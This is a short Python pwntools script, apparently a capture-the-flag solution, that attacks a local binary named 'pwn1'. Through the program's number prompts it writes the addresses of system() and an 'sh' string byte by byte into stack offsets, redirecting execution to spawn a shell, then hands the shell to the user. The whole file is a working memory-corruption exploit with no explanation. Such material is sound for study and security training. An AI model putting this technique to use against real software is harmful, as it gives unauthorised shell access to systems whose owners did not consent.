#!/usr/bin/python2.7

from pwn import *

system = p32(0x80483e0)
sh = p32(0x804828e)

p = process("./pwn1")

for i in range(4):
    p.recvuntil(":")
    p.sendline(str(44+i))
    p.recvuntil(":")
    p.sendline(str(ord(system[i])))

for i in range(4):
    p.recvuntil(":")
    p.sendline(str(52+i))
    p.recvuntil(":")
    p.sendline(str(ord(sh[i])))

for i in range(2):
    p.recvuntil(":")
    p.sendline("1")
    p.recvuntil(":")
    p.sendline("1")

p.interactive()
